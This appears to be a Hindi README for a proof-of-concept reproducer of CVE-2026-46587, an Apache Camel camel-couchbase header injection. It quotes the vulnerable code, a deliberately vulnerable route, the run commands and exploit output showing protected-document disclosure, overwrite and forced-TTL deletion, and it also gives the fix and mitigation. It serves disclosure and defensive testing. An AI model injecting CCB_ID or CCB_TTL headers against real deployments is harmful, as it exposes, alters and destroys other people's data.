
CVE-2026-46587 के लिए पुनरुत्पादक: Apache Camel camel-couchbase CCB_* हेडर इंजेक्शन, जो दस्तावेज़ प्रकटीकरण, छेड़छाड़ और TTL-बलपूर्वक डेटा विनाश को सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)
CCB_* हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-46587)यह प्रोजेक्ट Apache Camel के camel-couchbase घटक में एक मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-46587 के रूप में ट्रैक किया जाता है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई Exchange हेडर पढ़ता है — CCB_KEY (दस्तावेज़ कुंजी), CCB_ID (दस्तावेज़ आईडी), CCB_TTL (दस्तावेज़ समाप्ति), CCB_DDN (डिज़ाइन दस्तावेज़ नाम) और CCB_VN (व्यू नाम)। इन हेडर स्थिरांकों के स्ट्रिंग मान (CouchbaseConstants में परिभाषित) सादे, अप्रीफिक्स्ड नाम हैं, न कि Camel-प्रीफिक्स्ड नाम जो हर अन्य घटक उपयोग करता है (जैसे CamelSqlQuery)। Camel का इनबाउंड केवल उन हेडर नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये नाम इनबाउंड फ़िल्टर से अपरिवर्तित गुज़र जाते हैं। जब कोई रूट couchbase प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट (उदाहरण के लिए platform-http) उजागर करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडरों को सीधे सेट कर सकता है और कर सकता है।
HttpHeaderFilterStrategyCamelcamelयह PoC एक ही दोष से तीन अलग-अलग प्रभाव प्रदर्शित करता है:
CCB_ID कॉलर के दायरे से बाहर का दस्तावेज़ पढ़ता है।CCB_ID एक सुरक्षित दस्तावेज़ को ओवरराइट करता है।CCB_TTL=1 कॉलर के अपने दस्तावेज़ को चुपचाप स्वयं-नष्ट करने के लिए बाध्य करता है।| गुण | मान |
|---|---|
| घटक | camel-couchbase |
| प्रभावित क्लास | org.apache.camel.component.couchbase.CouchbaseProducer जो CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), आदि पढ़ता है |
| CWE | CWE-20: अनुचित इनपुट सत्यापन |
| प्रभाव | एक HTTP क्लाइंट CCB_* हेडर सेट करता है → दस्तावेज़ आईडी / TTL / डिज़ाइन-डॉक / व्यू ओवरराइड → प्रकटीकरण, छेड़छाड़, डेटा हानि |
| पूर्व-शर्तें | एक रूट HTTP कंज़्यूमर के पीछे couchbase प्रोड्यूसर उजागर करता है (जैसे platform-http); कंज़्यूमर होने पर अनप्रमाणित |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| सुधारित संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| सुधार | PR apache/camel#23228 (मुख्य), #23230 (4.18.x) / #23231 (4.14.x) के माध्यम से बैकपोर्ट किया गया |
| श्रेय | Yu Bao (PayPal) |
यह CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 और CVE-2026-47323 के समान हेडर-इंजेक्शन परिवार से है। सुधार अपना PR सहयोगी परामर्श CVE-2026-46588 (camel-couchdb) के साथ साझा करता है।
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
सुधार (4.14.8 / 4.18.3 / 4.21.0) हेडर मानों का नाम बदलकर Camel परंपरा के अनुसार करता है — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — ताकि वे हर अन्य Camel नियंत्रण हेडर की तरह इनबाउंड HttpHeaderFilterStrategy द्वारा ब्लॉक हो जाएँ। Java स्थिरांक फ़ील्ड नाम अपरिवर्तित हैं।
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
यह रूट दस्तावेज़ आईडी को कॉलर के अपने ड्राफ्ट पर डिफ़ॉल्ट करता है और, प्रलेखित हार्डनिंग के अनुसार, किनारे पर Camel नियंत्रण-हेडर नेमस्पेस हटा देता है। इससे कोई मदद नहीं मिलती: ओवरराइड हेडरों के नाम CCB_ID / CCB_TTL हैं, न कि CamelCouchbaseId / CamelCouchbaseTtl, इसलिए वे न तो removeHeaders("Camel*") द्वारा हटाए जाते हैं और न ही अंतर्निहित HTTP हेडर फ़िल्टर द्वारा — और प्रोड्यूसर उनका सम्मान करता है।
डेटाबेस में दो दस्तावेज़ सीड किए जाते हैं: user-draft (कॉलर का अपना) और system-config (एक संवेदनशील दस्तावेज़ जिसे एंडपॉइंट को कभी उजागर नहीं करना चाहिए)।
पीड़ित Camel रूट और उनका Couchbase डेटाबेस है; हमलावर एक अनप्रमाणित HTTP क्लाइंट है जो केवल अनुरोध हेडर सेट करता है। एक छोटा SDK हार्नेस सत्यापन के लिए, भेद्य रूट से स्वतंत्र रूप से, दस्तावेज़ सीड और पढ़ता है।
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
कंपोज़ फ़ाइल एक सिंगल-नोड Couchbase क्लस्टर (केवल KV) आरंभ करती है,
mybucketबकेट और एकappuserबनाती है, फिर ऐप शुरू करती है। नोड होस्टनाम के रूप में एक डॉटेड नेटवर्क alias (couchbase.cve.local) उपयोग किया जाता है क्योंकि Couchbase छोटे होस्टनाम को अस्वीकार करता है।
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
कोई भी रूट जिसका couchbase प्रोड्यूसर HTTP कंज़्यूमर से पहुंच योग्य हो। इंजेक्ट करने योग्य हेडर: CCB_ID / CCB_KEY (दस्तावेज़ आईडी/कुंजी → मनमाने दस्तावेज़ पढ़ना, ओवरराइट करना या हटाना), CCB_TTL (बलपूर्वक समाप्ति → डेटा हानि), और कंज़्यूमर पक्ष पर, CCB_DDN / CCB_VN (डिज़ाइन दस्तावेज़ और व्यू नाम)।
4.14.8 / 4.18.3 / 4.21.0 में अपग्रेड करें (परामर्श PR #23228)। सुधार के बाद ओवरराइड हेडर Camel प्रीफिक्स (CamelCouchbaseId, CamelCouchbaseTtl, …) धारण करते हैं और हर अन्य नियंत्रण हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।
अपग्रेड करने तक, प्रभावित हेडरों को अविश्वसनीय इनबाउंड संदेशों से प्रोड्यूसर तक पहुँचने से पहले हटाएँ, जैसे couchbase एंडपॉइंट के सामने .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") और .removeHeader("CCB_VN"), या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करता है।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और सुधारित भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।